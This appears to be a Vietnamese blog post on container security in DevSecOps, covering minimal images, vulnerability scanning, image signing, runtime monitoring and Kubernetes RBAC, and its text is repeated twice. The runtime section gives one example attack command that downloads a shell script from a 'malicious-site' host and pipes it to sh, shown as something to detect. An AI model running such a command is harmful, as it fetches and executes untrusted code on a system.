Tweet
DevSecOps Series: Container Security – Container Không Tự Động An Toàn Chỉ Vì Nó Nhỏ Gọn
Container đã trở thành nền tảng của các ứng dụng Cloud-Native hiện đại. Với Docker và Kubernetes, các đội ngũ DevOps có thể đóng gói ứng dụng một lần và triển khai nhất quán trên nhiều môi trường khác nhau, từ Development, Testing cho đến Production. Khả năng triển khai nhanh và linh hoạt đã giúp container trở thành công nghệ cốt lõi của CI/CD và Microservices.
Tuy nhiên, container không tự động mang lại bảo mật. Trên thực tế, việc sử dụng container còn tạo ra nhiều bề mặt tấn công mới. Một image chứa lỗ hổng, một container chạy với quyền quá cao hoặc một cluster Kubernetes phân quyền sai có thể mở ra cơ hội cho các cuộc tấn công nghiêm trọng. Bắt đầu từ Base Image
Bảo mật container bắt đầu ngay từ việc lựa chọn base image.
Nhiều tổ chức có xu hướng sử dụng các image đầy đủ chức năng vì sự tiện lợi. Tuy nhiên, các image lớn thường chứa rất nhiều package không được sử dụng, trong đó có thể tồn tại các lỗ hổng bảo mật chưa được vá. Mỗi package dư thừa đều làm tăng bề mặt tấn công của container.
Đó là lý do các chuyên gia DevSecOps thường khuyến nghị sử dụng:
Các image này chỉ chứa những thành phần cần thiết để chạy ứng dụng, giúp giảm số lượng package, giảm CVE và hạn chế các điểm xâm nhập tiềm năng của kẻ tấn công.
Ví dụ:
FROM gcr.io/distroless/java17
hoặc:
FROM alpine:latest
thường an toàn hơn nhiều so với việc sử dụng các image Linux đầy đủ không cần thiết.
Quét Lỗ Hổng Container Image
Sau khi image được build, công việc tiếp theo là quét các lỗ hổng bảo mật trước khi image được đẩy lên registry.
Các công cụ phổ biến hiện nay bao gồm:
Trivy
Một trong những scanner được sử dụng rộng rãi nhất hiện nay, hỗ trợ quét:
Clair
Giải pháp mã nguồn mở giúp phát hiện các CVE trong các package được cài đặt bên trong image.
Grype
Scanner chuyên phân tích container image và SBOM để phát hiện các lỗ hổng bảo mật.
Ví dụ:
trivy image myapp:v1
Nếu phát hiện CVE có mức độ nghiêm trọng cao (High hoặc Critical), pipeline nên tự động thất bại và ngăn việc triển khai image lên môi trường Production.
Đây chính là tư tưởng Shift Left Security trong Container Security.
Image Signing – Đảm Bảo Tính Toàn Vẹn Của Image
Ngay cả khi image đã được quét và không có lỗ hổng nghiêm trọng, vẫn còn một câu hỏi quan trọng:
Làm sao biết image này thực sự do đội ngũ của bạn tạo ra và không bị chỉnh sửa trên đường đi?
Câu trả lời là Image Signing.
Các giải pháp như Cosign cho phép ký số container image để:
Ví dụ:
cosign sign myregistry/myapp:v1
Trong nhiều tổ chức hiện đại, Kubernetes Admission Controller thậm chí chỉ cho phép triển khai những image đã được ký số hợp lệ.
Runtime Security – Mối Đe Dọa Xuất Hiện Sau Khi Deploy
Nhiều người nghĩ rằng bảo mật container kết thúc sau khi image được deploy. Thực tế, đây mới là lúc các rủi ro thực sự bắt đầu.
Container Runtime Security tập trung vào việc phát hiện các hành vi bất thường trong quá trình ứng dụng đang chạy.
Ví dụ: System Calls bất thường
Một container web server đột nhiên thực hiện các system call liên quan đến shell hoặc process injection. Privilege Escalation
Container cố gắng nâng quyền hoặc truy cập các tài nguyên mà nó không được phép sử dụng. Network Activity bất thường
Container bắt đầu quét các dịch vụ nội bộ hoặc cố gắng kết nối đến các IP không nằm trong thiết kế ban đầu. Thực thi Binary không thuộc image gốc
Ví dụ:
curl http://malicious-site/shell.sh | sh
Nếu container bắt đầu thực thi các binary chưa từng tồn tại trong image ban đầu, đây có thể là dấu hiệu của một cuộc tấn công.
Các công cụ Runtime Security phổ biến bao gồm:
Falco
Theo dõi System Call thông qua eBPF hoặc Kernel Module và phát hiện hành vi bất thường.
Sysdig
Giám sát runtime, phát hiện đe dọa và hỗ trợ điều tra sự cố.
Ngoài ra, các Cloud Provider hiện nay cũng cung cấp nhiều tính năng Runtime Security tích hợp sẵn cho môi trường Kubernetes và Container.
Kubernetes RBAC – Tuyến Phòng Thủ Cuối Cùng
Container Security không thể tách rời Kubernetes Security.
Nếu một tài khoản Kubernetes bị cấp quá nhiều quyền, kẻ tấn công có thể:
Do đó, Kubernetes RBAC cần tuân thủ nghiêm ngặt nguyên tắc Least Privilege.
Ví dụ, một Developer chỉ nên có quyền:
verbs:
- get
- list
- watch
thay vì:
verbs:
- "*"
RBAC được thiết kế đúng cách sẽ giúp ngăn chặn:
Secure Container Lifecycle
Một quy trình bảo mật container hiện đại thường bao gồm:
Code Commit → Build Minimal Image → Image Scan (Trivy/Clair/Grype) → Image Signing (Cosign) → Push to Registry → Deploy to Kubernetes → Runtime Monitoring (Falco/Sysdig) → Kubernetes RBAC Enforcement.
Container đã giúp DevOps tăng tốc triển khai phần mềm lên rất nhiều lần. Nhưng nếu bỏ qua bảo mật, container cũng có thể giúp lỗ hổng lan rộng với tốc độ tương tự.
Container Security không phải là một công cụ duy nhất. Đó là một chuỗi kiểm soát liên tục từ Build, Scan, Sign, Deploy cho đến Runtime Monitoring và Kubernetes RBAC.
Đây chính là tư duy Secure-by-Design và Shift-Left Security mà mọi kỹ sư DevOps, Cloud và Platform Engineer hiện đại cần nắm vững.
Container đã trở thành nền tảng của các ứng dụng Cloud-Native hiện đại. Với Docker và Kubernetes, các đội ngũ DevOps có thể đóng gói ứng dụng một lần và triển khai nhất quán trên nhiều môi trường khác nhau, từ Development, Testing cho đến Production. Khả năng triển khai nhanh và linh hoạt đã giúp container trở thành công nghệ cốt lõi của CI/CD và Microservices.
Tuy nhiên, container không tự động mang lại bảo mật. Trên thực tế, việc sử dụng container còn tạo ra nhiều bề mặt tấn công mới. Một image chứa lỗ hổng, một container chạy với quyền quá cao hoặc một cluster Kubernetes phân quyền sai có thể mở ra cơ hội cho các cuộc tấn công nghiêm trọng. Bắt đầu từ Base Image
Bảo mật container bắt đầu ngay từ việc lựa chọn base image.
Nhiều tổ chức có xu hướng sử dụng các image đầy đủ chức năng vì sự tiện lợi. Tuy nhiên, các image lớn thường chứa rất nhiều package không được sử dụng, trong đó có thể tồn tại các lỗ hổng bảo mật chưa được vá. Mỗi package dư thừa đều làm tăng bề mặt tấn công của container.
Đó là lý do các chuyên gia DevSecOps thường khuyến nghị sử dụng:
- Minimal Images
- Slim Images
- Distroless Images
Các image này chỉ chứa những thành phần cần thiết để chạy ứng dụng, giúp giảm số lượng package, giảm CVE và hạn chế các điểm xâm nhập tiềm năng của kẻ tấn công.
Ví dụ:
FROM gcr.io/distroless/java17
hoặc:
FROM alpine:latest
thường an toàn hơn nhiều so với việc sử dụng các image Linux đầy đủ không cần thiết.
Quét Lỗ Hổng Container Image
Sau khi image được build, công việc tiếp theo là quét các lỗ hổng bảo mật trước khi image được đẩy lên registry.
Các công cụ phổ biến hiện nay bao gồm:
Trivy
Một trong những scanner được sử dụng rộng rãi nhất hiện nay, hỗ trợ quét:
- Container Image
- Filesystem
- IaC
- Kubernetes Manifest
- Secret Detection
Clair
Giải pháp mã nguồn mở giúp phát hiện các CVE trong các package được cài đặt bên trong image.
Grype
Scanner chuyên phân tích container image và SBOM để phát hiện các lỗ hổng bảo mật.
Ví dụ:
trivy image myapp:v1
Nếu phát hiện CVE có mức độ nghiêm trọng cao (High hoặc Critical), pipeline nên tự động thất bại và ngăn việc triển khai image lên môi trường Production.
Đây chính là tư tưởng Shift Left Security trong Container Security.
Image Signing – Đảm Bảo Tính Toàn Vẹn Của Image
Ngay cả khi image đã được quét và không có lỗ hổng nghiêm trọng, vẫn còn một câu hỏi quan trọng:
Làm sao biết image này thực sự do đội ngũ của bạn tạo ra và không bị chỉnh sửa trên đường đi?
Câu trả lời là Image Signing.
Các giải pháp như Cosign cho phép ký số container image để:
- Xác thực nguồn gốc của image
- Đảm bảo image không bị chỉnh sửa
- Ngăn chặn việc triển khai image giả mạo
- Hỗ trợ bảo mật chuỗi cung ứng phần mềm (Software Supply Chain Security)
Ví dụ:
cosign sign myregistry/myapp:v1
Trong nhiều tổ chức hiện đại, Kubernetes Admission Controller thậm chí chỉ cho phép triển khai những image đã được ký số hợp lệ.
Runtime Security – Mối Đe Dọa Xuất Hiện Sau Khi Deploy
Nhiều người nghĩ rằng bảo mật container kết thúc sau khi image được deploy. Thực tế, đây mới là lúc các rủi ro thực sự bắt đầu.
Container Runtime Security tập trung vào việc phát hiện các hành vi bất thường trong quá trình ứng dụng đang chạy.
Ví dụ: System Calls bất thường
Một container web server đột nhiên thực hiện các system call liên quan đến shell hoặc process injection. Privilege Escalation
Container cố gắng nâng quyền hoặc truy cập các tài nguyên mà nó không được phép sử dụng. Network Activity bất thường
Container bắt đầu quét các dịch vụ nội bộ hoặc cố gắng kết nối đến các IP không nằm trong thiết kế ban đầu. Thực thi Binary không thuộc image gốc
Ví dụ:
curl http://malicious-site/shell.sh | sh
Nếu container bắt đầu thực thi các binary chưa từng tồn tại trong image ban đầu, đây có thể là dấu hiệu của một cuộc tấn công.
Các công cụ Runtime Security phổ biến bao gồm:
Falco
Theo dõi System Call thông qua eBPF hoặc Kernel Module và phát hiện hành vi bất thường.
Sysdig
Giám sát runtime, phát hiện đe dọa và hỗ trợ điều tra sự cố.
Ngoài ra, các Cloud Provider hiện nay cũng cung cấp nhiều tính năng Runtime Security tích hợp sẵn cho môi trường Kubernetes và Container.
Kubernetes RBAC – Tuyến Phòng Thủ Cuối Cùng
Container Security không thể tách rời Kubernetes Security.
Nếu một tài khoản Kubernetes bị cấp quá nhiều quyền, kẻ tấn công có thể:
- Tạo Pod mới
- Truy cập Secrets
- Thay đổi Network Policies
- Chiếm quyền toàn bộ Cluster
Do đó, Kubernetes RBAC cần tuân thủ nghiêm ngặt nguyên tắc Least Privilege.
Ví dụ, một Developer chỉ nên có quyền:
verbs:
- get
- list
- watch
thay vì:
verbs:
- "*"
RBAC được thiết kế đúng cách sẽ giúp ngăn chặn:
- Lateral Movement
- Privilege Escalation
- Vô tình thay đổi hệ thống
- Khai thác tài khoản bị xâm nhập
Secure Container Lifecycle
Một quy trình bảo mật container hiện đại thường bao gồm:
Code Commit → Build Minimal Image → Image Scan (Trivy/Clair/Grype) → Image Signing (Cosign) → Push to Registry → Deploy to Kubernetes → Runtime Monitoring (Falco/Sysdig) → Kubernetes RBAC Enforcement.
Container đã giúp DevOps tăng tốc triển khai phần mềm lên rất nhiều lần. Nhưng nếu bỏ qua bảo mật, container cũng có thể giúp lỗ hổng lan rộng với tốc độ tương tự.
Container Security không phải là một công cụ duy nhất. Đó là một chuỗi kiểm soát liên tục từ Build, Scan, Sign, Deploy cho đến Runtime Monitoring và Kubernetes RBAC.
Đây chính là tư duy Secure-by-Design và Shift-Left Security mà mọi kỹ sư DevOps, Cloud và Platform Engineer hiện đại cần nắm vững.
Attached Files